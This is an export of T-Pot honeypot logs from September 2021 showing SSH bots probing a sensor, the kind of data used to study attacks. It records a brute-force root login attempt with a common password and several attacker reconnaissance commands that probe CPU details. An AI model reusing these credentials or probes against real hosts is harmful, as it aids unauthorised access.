36699	172.217.17.196	109.199.241.180	Suricata	2021-09-20 15:16:59.469668+03	2021-09-20 15:30:02.621867+03	{"_id": "zwYjA3wBvYTbRNuEV2QY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:59.045598+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "172.217.17.196", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "172.217.17.196", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 1516166333575710, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 52278, "timestamp": "2021-09-20T12:16:59.469668Z", "@timestamp": "2021-09-20T12:16:59.469Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36700	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:16:59.156258+03	2021-09-20 15:30:02.622868+03	{"_id": "0QYjA3wBvYTbRNuEWGQb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2329, "dest_port": 22, "timestamp": "2021-09-20T12:16:59.156258", "@timestamp": "2021-09-20T12:16:59.156Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36701	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 15:17:00.085279+03	2021-09-20 15:30:02.623868+03	{"_id": "0gYjA3wBvYTbRNuEWWT7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "e9bb7de475eb", "@version": "1", "duration": 1.1970360279083252, "timestamp": "2021-09-20T12:17:00.085279Z", "@timestamp": "2021-09-20T12:17:00.085Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	DE
36702	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:01.644883+03	2021-09-20 15:30:02.624868+03	{"_id": "2gYjA3wBvYTbRNuEXWTk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:01.644883Z", "@timestamp": "2021-09-20T12:17:01.644Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36703	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:17:01.655365+03	2021-09-20 15:30:02.626869+03	{"_id": "2QYjA3wBvYTbRNuEXWTk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "273c1e7e233e", "@version": "1", "duration": 2.77667236328125, "timestamp": "2021-09-20T12:17:01.655365Z", "@timestamp": "2021-09-20T12:17:01.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36704	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:02.199868+03	2021-09-20 15:30:02.627867+03	{"_id": "2wYjA3wBvYTbRNuEYWTN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "81.71.14.9", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5550646781921387, "duplicate": true, "timestamp": "2021-09-20T12:17:02.199868Z", "@timestamp": "2021-09-20T12:17:02.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36705	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:02.625862+03	2021-09-20 15:30:02.628868+03	{"_id": "3QYjA3wBvYTbRNuEYWTN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:02.625862Z", "@timestamp": "2021-09-20T12:17:02.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36706	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:16:59.156837+03	2021-09-20 15:30:02.631869+03	{"_id": "wQYjA3wBvYTbRNuEVmQT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "273c1e7e233e", "@version": "1", "timestamp": "2021-09-20T12:16:59.156837Z", "@timestamp": "2021-09-20T12:16:59.156Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36707	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:16:59.362096+03	2021-09-20 15:30:02.632867+03	{"_id": "xAYjA3wBvYTbRNuEVmQT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "fd4f8bfcc9ba", "@version": "1", "duration": 2.866487503051758, "timestamp": "2021-09-20T12:16:59.362096Z", "@timestamp": "2021-09-20T12:16:59.362Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36708	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:58.848754+03	2021-09-20 15:30:02.633869+03	{"_id": "ywYjA3wBvYTbRNuEVmQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:58.848754Z", "@timestamp": "2021-09-20T12:16:58.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36709	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:58.849315+03	2021-09-20 15:30:02.635873+03	{"_id": "zAYjA3wBvYTbRNuEVmQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:58.849315Z", "@timestamp": "2021-09-20T12:16:58.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36710	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 15:16:58.888295+03	2021-09-20 15:30:02.636867+03	{"_id": "zQYjA3wBvYTbRNuEVmQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "e9bb7de475eb", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:16:58.888295Z", "@timestamp": "2021-09-20T12:16:58.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	DE
36711	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:16:59.154241+03	2021-09-20 15:30:02.637867+03	{"_id": "0AYjA3wBvYTbRNuEV2QY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 577108241429073, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2329, "dest_port": 22, "timestamp": "2021-09-20T12:16:59.154241Z", "@timestamp": "2021-09-20T12:16:59.154Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36712	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:00.707489+03	2021-09-20 15:30:02.639868+03	{"_id": "0wYjA3wBvYTbRNuEWWT7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:00.707489Z", "@timestamp": "2021-09-20T12:17:00.707Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36713	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:17:00.375939+03	2021-09-20 15:30:02.640869+03	{"_id": "1gYjA3wBvYTbRNuEWWT7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [root/321ewq321] failed", "session": "273c1e7e233e", "@version": "1", "password": "321ewq321", "username": "root", "timestamp": "2021-09-20T12:17:00.375939Z", "@timestamp": "2021-09-20T12:17:00.375Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36714	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:01.260983+03	2021-09-20 15:30:02.641869+03	{"_id": "1wYjA3wBvYTbRNuEXWTk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "81.71.14.9", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.5535807609558105, "duplicate": true, "timestamp": "2021-09-20T12:17:01.260983Z", "@timestamp": "2021-09-20T12:17:01.260Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36715	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:02.62533+03	2021-09-20 15:30:02.643867+03	{"_id": "3AYjA3wBvYTbRNuEYWTN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:02.625330Z", "@timestamp": "2021-09-20T12:17:02.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
36716	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:53.180605+03	2021-09-20 15:30:02.644867+03	{"_id": "kAYjA3wBvYTbRNuEPmSe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:53.180605Z", "@timestamp": "2021-09-20T12:16:53.180Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36717	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:53.734608+03	2021-09-20 15:30:02.645868+03	{"_id": "kQYjA3wBvYTbRNuEPmSe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "81.71.14.9", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.55464768409729, "duplicate": true, "timestamp": "2021-09-20T12:16:53.734608Z", "@timestamp": "2021-09-20T12:16:53.734Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36718	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:54.097704+03	2021-09-20 15:30:02.647867+03	{"_id": "lAYjA3wBvYTbRNuEQmSG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-alpha-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.params", "message": [], "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:16:54.097704Z", "@timestamp": "2021-09-20T12:16:54.097Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
